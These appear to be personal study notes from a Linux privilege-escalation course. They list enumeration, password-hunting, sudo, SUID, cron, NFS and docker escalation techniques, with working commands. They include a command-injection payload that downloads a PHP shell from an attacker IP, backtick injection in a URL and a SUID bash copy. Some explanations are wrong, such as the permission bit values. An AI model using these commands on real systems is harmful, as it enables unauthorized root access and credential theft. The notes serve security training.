TCM Security

Linux Privilege Escalation

Initial Enumeration

System enumeration

After exploiting a machine we will have a low-level shel

There are 5 stages of hacking :

- Information gathering
- Scanning & Enumeration
- Exploitation

After having the low-level shell we will have to repeat that process and enumerate

We can know our kernel is using => uname -a or cat /proc/version

We can also the services that running using => ps aux | grep root

User Enumeration

We can start by using the commands like whoami or id or sudo -L

We can also see the history using the command => history

When we login we have to execute 3 commands :

- Id
- Sudo -L
- History

Network Enumeration

When we login we have to Enumerate the network using => ip a

We can also use to identify the ports using => netstat -ano

Password Hunting

Wa can hunt passwords using the following comsmand :

- grep --color=auto -rnw '/' -ie "PASSWORD=" --color=always 2> /dev/null

This just gana find the word PASSWORD= in all the files

- Locate password | more

This will find all the file the name password

We can also hunt SSH keys using

- Find / -name authorized_keys 2> /dev/null

Automated Tools

Always use all the Tools for example Start with Linpeas then use LinEnum and you can find something else

These are all the tools :

- https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
- https://github.com/rebootuser/LinEnum
- https://github.com/mzet-/linux-exploit-suggester
- https://github.com/sleventyeleven/linuxprivchecker

Exploitation

Kernel Exploitation

The Kernel is a program computer that controls everything in the computer , it facilitates interactions between hardware and software components and it's like a translator Convert input and output into commands

We can use uname -a and search the version in Google and we can find an exploit

We can also use linux-exploit-suggester and try to find an exploit

- https://github.com/lucyoa/kernel-exploits

Passwords and File Permissions

Stored Passwords

The first command to start, is to use history or cat .bash_history

We should look there we can find a lot of things from sensitive data to Passwords

We can automate password hunting using linpeas or we can use

- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md

Weak File Permissions

When We Look about Week File Permissions We are looking for is do we have access to a file we shouldn't or do we have access to an executable or can we modify something ...

As a regular user we do have access to /etc/passwd but we shouldn't have access to /etc/shadow

/etc/passwd allow us to identify the users and the groups in the machine, back in the day it used to store the passwords but it got moved to /etc/shadow

If we were able to modify /etc/passwd we can just remove the x and put our passwords there (root:x:0:0:root:/root:/bin/bash) or just remove the x and we ll not have a passwd

We can use a tool named unshadow to crack the passwords in the shadow but we have to input the shadow file and the passwd file, then we will run it in john the ripper

Shadow files uses sha512crypt or sha512 to hash the passwords

SSH Keys

We can hunt ssh keys to access the machine don't forget to check payload all things

What are ssh keys ?
The public key will be publied to an ssh server to identify who we are and the private key is keeped by the users and it's stored in *authorized_keys*

If we discover a key (id_rsa) we can ssh with it from our computer

- First we will have to chmod 600 *id_rsa*
- Then *ssh -i id_rsa root@192.168.1.42*

But sometimes it has a passphrase and we can crack it using ssh2john

Sudo

What's sudo ?

It's command that allow us to run a command as root

Sudo shell escaping

If we do a *sudo -l* we can see that we have an option, if we *(root) NOPASSWD:* it means that we can run the command as the root user

We can check all the shell escaping script using :

- https://gtfobins.github.io/

Intended Functionality

Let's pretend that we are a website admin and we want to access to apache2 as a root, we will use an intended functionality for example *sudo apache2 -f /etc/shadow*

LD_PRELOAD

What is LD_PRELOAD ?

It's a preload of LD (Dynamic Linker) and it's available on all the linux systems , we are going to be preloading a specific library, we are going to make a malicious library, and we will run the commands with it

- sudo LD_PRELOAD=/home/user/shell.so apache2

And we will be root

2 Important CVEs

CVE-2019-14287

- https://www.exploit-db.com/exploits/47502

CVE-2019-18634

- https://www.exploit-db.com/exploits/47995

SUID

Basics

SUID stands for *set UID*

Bits :

- Write has 4 bits
- Read has 2 bits
- Execute has 1 bit

SUID has the rws , the S stand for suid, if the group has the S it means SGID and if the user has the S that means a Sticky bit

To find all the SUID files we will execute this command

- find / -perm -u=s -type f 2>/dev/null

Built in SUID

ping ping6 passwd	sudo chfn apring	gpasswd chsh chfn
mount sudo su	umount mount newgrp	pppd

Useful link

- https://recipeforroot.com/suid-binaries/

Other SUID

Shared object injection

We can debug a file and see if there is some interesting files we can use strace

- strace /usr/local/bin/suid-so 2>&1 | grep -i -E “open|access|no such file”

From here we will find some errors for example No such file and we will create a malicious code, then if we run the file it will also run the malicious code

Binary Symlinks

It’s a vulnerability with nginx it’s an http server, it has an issue in the permissions of the logs , because of this issue we can elevate from www-data to root

To identify this issue we have to use the linux-exploit-suggester

The log folder has READ WRITE EXECUTE permission and it’s taking advantage of the sudo SUID.

We will use a Symlink to replace the log files with a malicious file we will use a script that will do it for us, when the nginx server will be restarted it will point to the symlink and it will elevate our privileges

- https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

Environment Variables

An environment variable is a dynamic-named value that can affect the way running processes will behave on a computer. They are part of the environment in which a process runs.

We can look to environment Variables using *env*
We can find the PATH using *print $PATH*

We found a file that is running the apache server using the command : service apache2 start , we will create a script named service in tmp

Then we will change the path to /tmp , because of that it will not run the apache service but it will run our malicious script in /tmp

If it's running a direct path for example /usr/sbin/service apache2 start

We will create a malicious function named /usr/sbin/service and export -f to /usr/sbin/service and of we run it it will elevate us to root

Capabilities

The privileged process is the user with ID 0 it's root

Capabilities are more secure then SUID and they are used in modern times

Let's Hunt capabilities

- getcap -r / 2>/dev/null

Capabilities it's very similar to SUID , but capabilities are not SUID for example we found that /usr/bin/python2.6 = cap_setuid**+ep** but if we check the SUIDs we will not find it

If we we run python and importing some malicious code it will turn us into root

If there is the **ep** that means **permit everything**

Scheduled tasks

Most commonly scheduled tasks are known as a cron jobs there is also the systemd timers, we can know the cron jobs using *cat /etc/crontab*, when there is * * * * * that means it's running every minutes

If we run *systemctl list-timers --all* it will show us all the scheduled tasks in the systemd timers .

Cron Paths

First if we go cat the crontab we will see that there is the path to the the executable we will create the file or edit the file that will be executed by the Cron job and it will spawn us a

Reverse shell or a root shell, We will have to wait a minute to be executed as root.

Cron Wildcards

If we go add see the /etc/crontab , there will be a crontab we will take a look at it for example if there is an asterix that means a Wildcard we can do a Wildcard Injection , We can make malicious code and we can tell the script to be telled by tar to be executed by the crontab

Cron File Overwrites

Sometimes We can Overwrite the Cron file executed we can put there a reverse shell and be root

NFS Root Squashing

If we check the *cat /etc/exports,* and if we see in the /tmp or somewhere else written *no_root_squash,* That means that this folder is mountable and share able , to do it we have to run

- showmount -e yourip
- Mkdir /tmp/mountme
- mount -o rw,vers=2 yourip:/tmp /tmp/mountme

Now we have mounted this folder and we have to make a malicious script in this shareable folder

- chmod +s /tmp/mountme/script.sh

And now if we cd to tmp and run the script we will be elevated to root

How that is working ?
We are Remote user that means that what all we do is considered as a root user becouse it was misconfigured

Docker

When we do a **backtick** , the backtick takes the **presidency** for example

- http://10.10.204.99:8081/ping?ip=`cat%20utech.db.sqlite`

Normally it has to ping it but with the backtick it will be run first

We was in docker group so we will be running this command to become root and wait

- docker run -v /:/mnt --rm -it bash chroot /mnt sh

Notes

If we are in a LFI and we can't have a space we can execute that command

- `wget${IFS}http://10.8.113.186/shell.php`

${IFS} means a space but with out spacing link in URL encoding a space simply means %20

And When we can do a **backtick** , the backtick takes the **presidency** for example

- http://10.10.204.99:8081/ping?ip=`cat%20utech.db.sqlite`

it runs the command first

To have privesc we can do that

- echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > bash.sh
- cd /tmp && ./bash -p